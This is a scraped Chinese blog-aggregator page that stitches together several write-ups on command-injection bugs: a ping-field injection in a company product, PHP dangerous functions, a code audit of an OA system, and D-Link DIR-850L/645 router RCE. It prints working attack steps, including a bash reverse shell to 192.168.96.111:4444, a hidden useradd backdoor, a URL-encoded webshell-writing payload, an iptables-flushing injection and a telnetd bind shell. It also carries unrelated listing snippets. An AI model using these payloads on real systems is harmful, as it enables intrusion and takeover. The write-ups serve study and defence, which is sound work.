精华内容
下载资源
问答
  • 命令执行漏洞挖掘实例

    千次阅读 2019-08-22 14:10:42
    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下 一: 前期判断 看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看 输入127.0.0.1本地地址,发现能ping通 ...

    前言

    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下

    一: 前期判断

    看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看
    在这里插入图片描述
    输入127.0.0.1本地地址,发现能ping通
    在这里插入图片描述
    发现如果命令不正确或者ip地址不存在,返回包为false。因此即使存在命令执行的漏洞也无法回显。那这里就考虑用延时判断是不是存在命令执行漏洞

    二:判断是否存在命令执行注入

    其实之前走了很多歪路,这里就不提了。ping命令有个参数,-c 表示icmp要发几个包。这里我们通过 修改-c 的数目,理论上-c的数值越大,那返回的时间越长
    这里遇到第一个问题
    在这里插入图片描述
    添加参数报错,这里空格处通过%20替代,因为http包有url转码,所以%20到服务器端会解析为空格,成功绕过
    -c 1 时,时间59毫秒
    在这里插入图片描述
    -c 2 ,时间为4086毫秒
    在这里插入图片描述
    从这里的话,就知道-c 这个参数已经带入成功,那在尝试拼接命令。拼接命令使用&&,&,|,||等,都试了,感觉不是很合适,因为前面命令一旦执行成功,页面上马上就回显回来,无法通过时间来判断。这里我使用分号;做拼接,分号后面都命令执行完之后,这个包才能判断true or false
    尝试127.0.0.1 -c 1;sleep 1
    这里 -c 参数不要太大,时间久了默认就false,sleep也不宜过大,只要能体现页面回显的时间变化就可以
    t = 4086
    在这里插入图片描述
    127.0.0.1 -c 1;sleep 2
    t = 8069
    在这里插入图片描述
    到这里就很明确,sleep命令已经执行成功,且存在命令执行注入漏洞

    三:通过命令执行注入获取服务器权限

    这里也卡了一段时间,最后解决就很快。想过2个方法获得服务器权限。
    一个的话通过一句话命令新增用户,到时候直接连服务器就可以。
    如新建test:123456用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` test
    另外一个就是反弹shell
    bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
    但是呢,这两条命令都有特殊符号,特别像&,如果空格可以用%20绕过都话,其他字符在绕过上我还没啥思路,会报请求错误
    在这里插入图片描述
    到这里又卡了一下,难道命令注入找到了,却无法利用,这就有点尴尬了,后来忽然想起来,空格能通过url编码绕过,那整个请求参数值能做一遍url编码不是也可以嘛,试试看
    在这里插入图片描述
    开启监听
    在这里插入图片描述
    将编码后的参数替换,放包,虽然一直卡着,当监听的shell已经回来,成功拿到服务器权限
    在这里插入图片描述
    在这里插入图片描述

    到这里就结束了,关于那第三节,不知道有没有不通过编码的绕过方式,如果有,感谢指教~

    展开全文
  • 【1】可能存在命令执行漏洞的函数: 00x1:常用的命令执行函数:exec、system、shell_exec、passthru 00x2:常用的函数处理函数:call_user_func、call_user_func_array、file_get_contents.....更多函数处理函数...

    【1】可能存在命令执行漏洞的函数:

    00x1:常用的命令执行函数:exec、system、shell_exec、passthru

    00x2:常用的函数处理函数:call_user_func、call_user_func_array、file_get_contents.....更多函数处理函数传递门:http://www.php.net/manual/zh/book.funchand.php

           函数处理函数的使用:<?php $a = "phpinfo()";call_user_func($_GET['id'],$a); ?>访问:127.0.0.1/1.php?assert即可看到效果


    【2】如何预防命令执行漏洞:

    00x1:escapeshellcmd()//该函数过滤的是整条的命令

    00x2:escapeshellarg()//用来保证传入的命令执行函数里面的参数确实是以字符串参数的形式存在的不能被注入!


    实例挖掘一个程序的命令执行漏洞。


    我随便搜索了一个命令执行函数(PS:网站程序是老古董了):

    随笔点开了一个文件,在文件的35行处找到命令执行函数system,两个参数,看看有没有进行过滤。

    从35行很清楚的看到,其使用了一个tex_filter_get_cmd的函数,那么我们找一下这个函数,看下是如何写的。该文件中没有找到定义该函数的,那么必然是被包含了,被包含了两个文件夹,一个是lib.php一个是config.php那么势必是lib.php了,因为config.php是配置文件。

    找到lib.php打开lib.php以后找到这个tex_filter_get_cmd函数,函数内部情况如下所示:

    其实也可以很明显的看到$texexp函数有使用escapeshellarg函数过滤然后赋值给$texexp变量,但是$pathname并没有任何过滤就直接带入44行以及47行执行了。由此导致本次的命令执行漏洞。

    在42行他判断了系统是否为windows如果是windows就执行43到44行的代码。

    44行的$executable变量是由40行的赋值而来的,那么我们再来看看tex_filter_get_executale函数。该函数在这个文件当中。其结构如下所示:

     

    总体的来说就是调用了16行的exe

    那么构造好的EXP就应该是:texed.php?formdata=foo&pathname=foo"+||+ver||+echo+

     

     

    防御:

        使用escapeshellcmd($pathname);过滤掉$filename

      

     

    转载于:https://www.cnblogs.com/xishaonian/p/6502970.html

    展开全文
  • 一、命令执行漏洞原理 用户输入数据被当做系统命令执行 <?php system('whoani')?> 其实这个一句话木马的本质就是命令执行漏洞 代码执行:用户输入数据被当做后端代码执行 命令执行:用户输入数据被当做...

    一、命令执行漏洞原理

    用户输入数据被当做系统命令执行

    <?php system('whoani')?> 其实这个一句话木马的本质就是命令执行漏洞

     

    代码执行:用户输入数据被当做后端代码执行

    命令执行:用户输入数据被当做系统命令执行

     

    因为代码执行情况下,可以调用命令执行函数,所以大部分代码执行都可以调用系统命令,菜刀中断操作也是利用命令执行函数,命令执行也可以写文件的方法获得webshell

     

    命令行写入文件

    二、命令执行函数解析

    1、system('whoami');

    目标机器是linux命令,执行的就是Bash命令,如果是windows就执行cmd命令

     

    2、echo exec('whoami');

    php会操作计算机执行whoami命令,并获取最后一行数据

    3、echo shell_exec('whoami');

    php会操作计算机执行whoami命令并获取所有数据

    4、passthru('whoami');

    只调用命令,把命令的运行结果原样输出到标准输出设备

    5、特殊符号,反引号(`) => echo `whoami`;

    反引号其实就是调用的shell_exec()函数

    6、popen(要执行的命令,参数)

    r是读,w是写

    $a = popen('whoami','r');

    echo fread($a,1024);

    这个执行命令的返回值比较特殊,返回的是一个文件指针,需要用fread读取返回值。

     

    三、本地实验

    1、在虚拟机上安装IBOS,安装好后在本地访问

     

    2、源码审计

    这里我们进入Seay源码审计系统,发现里面的源代码看不懂,是因为使用了Zend加密了源码。我们先使用工具解密。

    解密后正则表达式匹配exec\(.*\),搜索到shell_exec()的函数调用

    源代码如下,我们找可以利用的变量

    shell_exec($mysqlBin . 'mysql -h"' . $db['host'] . ($db['port'] ? (is_numeric($db['port']) ? ' -P' . $db['port'] : ' -S"' . $db['port'] . '"') : '') .
                '" -u"' . $db['username'] . '" -p"' . $db['password'] . '" "' . $db['dbname'] . '" < ' . $file); 
    

     (1)$mysqlBin

    $mysqlBin相关源代码

    三目运算符,  判断条件?成立时执行1:不成立执行2

    $mysqlBin = $mysqlBase == '/' ? '' : addslashes($mysqlBase) . 'bin/';

    $mysqlBase相关源代码

     $mysqlBase = $query['Value'];

    $query相关函数

    $query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow();

     

    SHOW VARIABLES LIKE 'basedir'是一个数据库执行语句,返回一个路径,这个路径被赋值给$mysqlBase

    如果$mysqlBase等于/,则输出空,如不是,则添加在原路径下添加bin/,并赋值给$mysqlBin

    $mysqlBin是从数据库执行语句得到,核心是查询数据库的变量

     

    (2)$db

    再看shell_exec的源代码,里面有一个$db,我们回溯到如下代码

    $config = @include PATH_ROOT . './system/config/config.php';
            if (empty($config)) {
                throw new Exception(Ibos::Lang('Config not found', 'error'));
            } else {
                $db = $config['db'];
            }

    $db是由$config决定,$config是由system/config/config.php决定

    $db是从config.php中读取出来,这是一个配置文件,一般不可控制

     

    (3)$file

    再查看源码,找到可以利用的$file

    function restore($id)
    {
        $path = PATH_ROOT;
        if (strstr($path, 'data')) {
            $id = trim(str_replace('data', '', $id), '/');
        }
        $file = urldecode($id);
        $fp = @fopen($file, 'rb');

    $file是urldecode($id)的值,id是一个形参,有restore函数决定。于是我们可以搜索restore调用的地方,一个个分析。但这样的方法效率很不高,所以我们换个思路。

     

    再次查看源代码

    shell_exec($mysqlBin . 'mysql -h"' . $db['host'] . ($db['port'] ? (is_numeric($db['port']) ? ' -P' . $db['port'] : ' -S"' . $db['port'] . '"') : '') .
                '" -u"' . $db['username'] . '" -p"' . $db['password'] . '" "' . $db['dbname'] . '" < ' . $file); 
    

    这里涉及mysql导出命令,关键词<

    带条件导出数据:mysqldump -u root -p --where='id<5' 数据库名> D:\导出文件名.sql

    我们在全局搜索还可以搜索到一个带有shell_exec的函数,在/system/core/utils/Database.php中,代码如下

    $mysqlBin和$db不可控制,再查看$dumpfile,核心是导出文件名,于是搜索$dumpfile是否可以被控制。

    找到$dumpfile被$backupFileName控制

     

    再搜索$backupFileName,发现$backupFileName是由$fileName决定,将$fileName中的  /  \\  .  '  都替换成空

    $fileName由getRequest决定,这是YII框架,用于获取信息

     

    总结一下$dumpFile -> $backupFileName -> $fileName -> getRequest("filename")

    filename 传参不能出现array("/","\\","."," ' ")中这些东西

     

    $fumpFile = $backupFileName . "-%s.sql";   这里会给文件名加后缀 . sql,最后执行dumpfile。

     

    在后台系统中开启数据库的系统mysql dump备份,提交,抓包,我们可以抓到带有文件名的burp数据包

    在服务器主机上也找到备份的文件

    我们可以通过上传&echo "<?php eval($_REQUEST[8]);?>">123.php&qwe

    来上传一个123.php的一句话木马。

    但由于源代码中要过滤字符. 所以我们要设法绕过,详见https://www.anquanke.com/post/id/208398

    我们可以利用环境变量中的. 来绕过检测

    所以执行代码如下:

    asdasd&echo "<?php eval($REQUEST[8]);?>">aaa%PATHEXT:~0,1%php&qwe

    文件上传是需要经过post传参,影响了&,文件没有上传成功。但这里$fileName由getRequest决定,不仅可以获得post,也是可以使用get传参的,可以使用url编码,解决对&的影响。

    filename=asdasd&echo "<?php eval($_REQUEST[8])?>">aaa%PATHEXT:~0,1%php&qwe

    &filename=asdasd%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22%3Eaaa%25PATHEXT%3A%7E0%2C1%25php%26qwe

    最后上传成功

    可以获得phpinfo的界面

    四、靶场

    靶场和本地一样的做法,连接菜刀,找到flag

     

     

     

     

    展开全文
  • 这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。 漏洞分析 根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息...

    前言

    这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。

    漏洞分析

    根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我们就可以进一步利用,达到命令执行的目的,进而 getshell。

    php 源代码

    代码如下:

    image.png-358kB

    这里的 server 变量可控,导致在拼接时,我们可以闭合前面的命令参数,执行任意命令。

    通过前一步的任意文件读取得到 admin 的密码之后,登录上去抓包,将认证过的 cookie 赋值给 uid

    首先先访问 DEVICE.TIME 这个 service ,根据返回包的 xml 文件数据格式来构造命令注入的 payload。

    image.png-246.2kB

    构造 xml 数据:

    <postxml>
    <module>
        <service>DEVICE.TIME</service>
        <device>
            <time>
                <ntp>
                    <enable>1</enable>
                    <period>604800</period>
                    <server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) &amp; exit;</server>
                </ntp>
                <ntp6>
                    <enable>1</enable>
                    <period>604800</period>
                </ntp6>
                <timezone>61</timezone>
                <time></time>
                <date></date>
                <dst>0</dst>
                <dstmanual></dstmanual>
                <dstoffset></dstoffset>
            </time>
        </device>
    </module>
    </postxml>

    这里的 payload 将目标服务器的 iptables 防火墙关闭,并在 23090 端口开启 telnet 服务

    image.png-246.5kB

    • 这里的变量 $enable$enablev6 都设置为 1,就执行了第一个分支。

    之后,按照这篇文章的思路,为了使得设置加载的服务生效,还要向 pigwidgeon.cgi 发送激活请求。

    image.png-231.3kB

    返回 OK 则表示已经激活成功。

    这时可以再请求一下 DEVICE.TIME 查看结果,发现这里已经成功将 payload 写入 service 变量

    image.png-282.4kB

    漏洞利用

    按照一般思路,拿到了远程 RCE 之后,可以在目标机器上开启 telnetd 服务,进行 shell 的登录。

    开启 telnetd 服务

    telnetdbusybox 程序中集成的一个服务,所以在嵌入式设备中一般都可以进行开启。

    telnetd -p 23090 -l /bin/sh

    在上面的 xml 数据里的括号中,加入上面的代码,就可以在 23090 端口开启一个 telnet 服务,-l 参数表示在登录上 telnet 服务之后就执行 /bin/sh 程序,即反弹一个 busybox 的 shell。

    和上面的流程一样,先后访问 hedwig.cgi 发送 xml 数据和 pigwidgeon.cgi 激活服务之后,就可以在本地尝试连接

    image.png-98.2kB

    图上表明正常获取了目标 busybox 的 shell。

    使用 metasploit 反弹 shell

    在 metasploit 上集成了一个 DIR-850l 的命令执行的 exp,所以这里直接使用工具来 getshell 也是一个方法。

    exploit/linux/http/dlink_dir850l_unauth_exec

    在 exploit-db 上的位置

    这里笔者在 vps (ubuntu 14.04) 上装了一个 msf,安装方法也很简单:

    sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

    安装好后打开 msf, use exploit 设置好参数就行了。

    image.png-420.8kB

    这样就反弹了一个 busybox 的 shell。

    image.png-338.1kB

    DIR-645 命令执行

    在 dir-645 固件版本 1.02 中的 service.cgi 中存在一处命令注入,可以通过闭合前面的命令,注入恶意数据,达到执行任意命令的效果。

    固件下载地址:

    ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP

    service.cgi 分析

    同样的,把固件解压后使用 binwalk 提取出文件系统。将 htdocs/cgibin 载入 IDA 中,找到处理 service.cgi 代码逻辑部分,也就是 servicecgi_main 这个函数处。

    image.png-268.3kB

    接下来一步步分析函数的功能,首先使用 getenv 函数获取 http 请求方法,若为 POST 请求,则执行右边的分支。

    使用 cgibin_parse_request 函数解析 content-length 和 content-type 头字段之后,经过 sess_ispoweruser 函数判断用户是否已经登录。

    之后获取 POST 表单字段,若字段名为 EVENT 的话,就将 "event %s > /dev/null" 作为参数执行 lxmldbc_system 函数。

    .text:0040CF58
    .text:0040CF58                 loc_40CF58:
    .text:0040CF58                 lui     $a0, 0x42
    .text:0040CF5C                 jal     sub_40CD50
    .text:0040CF60                 la      $a0, aEvent      # "EVENT"
    .text:0040CF64                 la      $a0, aAction     # "ACTION"
    .text:0040CF6C                 jal     sub_40CD50
    .text:0040CF70                 move    $s2, $v0         # 注意这里的 v0 是 sub_40CD50("EVENT") 的返回值
    .text:0040CF74                 la      $a0, aService    # "SERVICE"
    .text:0040CF7C                 jal     sub_40CD50
    .text:0040CF80                 move    $s0, $v0
    .text:0040CF84                 lw      $gp, 0x130+var_120($sp)
    .text:0040CF88                 beqz    $s2, loc_40CFA4
    .text:0040CF8C                 move    $s1, $v0
    .text:0040CF90                 lui     $a0, 0x42
    .text:0040CF94                 la      $t9, lxmldbc_system
    .text:0040CF98                 la      $a0, aEventSDevNull  # "event %s > /dev/null"
    • 注意 mips 的流水线效应。

    lxmldbc_system 函数中调用了 system 函数,跟进分析一下

    开头先执行了 vsnprintf 函数,格式化字符串到栈上 ($sp+0x428+var_40C)

    vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)

    vsnprintf 函数的解释:

    函数原型:int vsnprintf(char str, size_t size, const char format,va_list ap);
    函数说明:将可变参数格式化输出到一个字符数组
    参数:str输出到的数组,size指定大小,防止越界,format格式化参数,ap可变参数列表函数用法

    这个函数和 snprintf 函数就差了一个可变参数 va_list ,这里分析的话直接忽略就好了。

    接着调用 system 函数,这里的 $s0 = $sp+0x428+var_40C 可以看到这里直接将刚才格式化过的字符串传入 system 作为他的参数。

    .text:004133E4                 la      $t9, system
    .text:004133E8                 nop
    .text:004133EC                 jalr    $t9 ; system
    .text:004133F0                 move    $a0, $s0         # command

    也就是执行了 system("event %s > /dev/null"),显然这里我们可以用分隔符 (;、|、&、%0a) 来截断前面的命令,进行命令注入,达到执行任意命令的效果。

    所以在这里我们只需要提交类似于 EVENT=;uname -a%26 的 POST 数据就行了。

    • 前面的分号换成 | 和 & 都可以正常注入,后面只能为 & 。

    system 函数执行是有回显的,所以这里可以直接在返回包中看到执行的结果。

    • 这里构造 SERVICE 字段也行,只不过需要再加上 ACTION 字段配合使用才行。

    image.png-253.7kB

    总结

    DIR-850L 和 DIR-645 的命令注入漏洞都是由于在拼接参数时没有进行过滤,直接执行 system 函数,因此防御手段就只需要在拼接参数时进行相应的过滤即可。

    参考文章

    https://www.freebuf.com/articles/terminal/164680.html

    转载于:https://www.cnblogs.com/H4lo/p/10996949.html

    展开全文
  • 本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,...1. 命令执行漏洞 采用 DVWA 系统,IP地址:10.10.10.132 Kali Linux 2018.1,IP地址:10.10.10.131 简介应用程序直接调用操作系统命令的功能 2. 测试 Low
  • 命令执行漏洞

    2020-03-05 23:35:29
    命令执行漏洞 一.什么是命令执行漏洞 日常的网络访问中,我们常常可以看到某些Web网站具有执行系统命令的功能,比如:有些网站提供ping功能,我们可以输入一个IP地址,它就会帮我们去尝试ping目标的IP地址,而我们...
  • 通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数。EscapeShellCmd()函数可以把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义,比如管道...
  • 命令执行漏洞:通过易受攻击的应用程序在主机操作系统上执行任意命令,用户提供的数据(表单,cookie,http头等)未过滤挖掘思路:用户能够控制函数输入,存在可执行代码的危险函数命令执行和代码执行的区别:命令执行...
  • 远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对路径的情况下就执行命令 复现示例 Tomcat任意文件上传漏洞CVE-2017-12615...
  • 手动漏洞挖掘 身份认证 1、常用弱口令/基于字典的密码爆破 2、锁定机制 手工猜测,若无锁定机制,则进行爆破 3、信息收集【分站上信息收集,猜测账号密码,如:用户光荣榜等。】 手机号:对于隐藏部分的...
  • Web安全-命令执行漏洞

    千次阅读 2019-02-03 23:37:02
    命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常...
  • JSP命令执行漏洞 一、代码执行成因调用Runtime但是没有对传入参数没有过滤和限制:jsp调用命令行的只需要在<%%> 中编写使用Runtime类即可调用命令行Windows 用“&”,linux用“;”号来分隔多条命令'cmd....
  • 前言&原理 如果目标服务器开启了ssi功能,那么shtml文件将可以执行任意命令。如果上传文件程序限制了php文件的...!--#exec cmd="命令" -->语法执行任意命令。 ...ssi漏洞挖掘思路请参考:https://blog.csdn.net/q
  • PHP代码审计基础:命令执行漏洞

    千次阅读 2020-11-27 15:00:01
    文章目录命令执行挖掘思路命令执行与代码执行的区别命令执行的类型常见危险函数...2、命令执行漏洞可能造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行 3、更常见的命令执行漏洞是发生在各种We
  • 介绍这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤。...虽然命令注入漏洞通常很简单,但要实现完整的远程代码或命令执行需要克服一些障碍。这是由于Java处理执行操作系统命令的方式...
  • ctf训练 web安全命令执行漏洞 命令执行漏洞介绍 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将...
  • Fastjson1.2.47版本远程命令执行漏洞

    千次阅读 2020-07-20 23:39:32
    我的一个好朋友和我说,他在淘宝挖到fastjson命令执行,获得了一万奖金。我虽然是个学渣,也不太懂java,但起码以后碰到了,要知道这个玩意,并且要知道这个玩意如何挖掘。话不多说,开始复现之路。 环境 攻击机ip ...
  • 挖掘执行命令漏洞 常见执行命令函数 system()、passthru()、popen()、exec()等函数 搜索 exec,system,popen,passthru,proc_open,shell_...如何防止命令执行漏洞 escapeshellarg、escapeshellcmd 课后了解 ...
  • 命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常...
  • 命令执行漏洞备忘录

    2020-05-27 19:03:24
    代码执行 代码执行常见函数:  ${}  eval  assert  preg_replace  create_function()  array_map()  call_user_func()/call_user_func_array()  array_filter()  usort(),uasort() ${} 用法:${...
  • 实践对象moodle-1.9.3 ...挖掘执行命令漏洞 常见执行命令函数 system()、passthru()、popen()、exec()等函数 搜索 exec,system,popen,passthru,proc_open,shell_exec 执行命令管道符%、|、> 测试 htt...
  • done" 或者 "/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/1234 0>&1" 2.2 Fastjson 1.2.47远程命令执行漏洞 漏洞原理 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的...
  • 经过之前几篇的漏洞挖掘练习,对于普通linux内核与VxWorks内核的固件漏洞进行了分析,这次来分析一下被加密过的固件漏洞。 以D-Link DIR878为例,此路由器的固件从1.04版之后开始对之后的版本固件进行加密,而解密...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 5,335
精华内容 2,134
关键字:

命令执行漏洞挖掘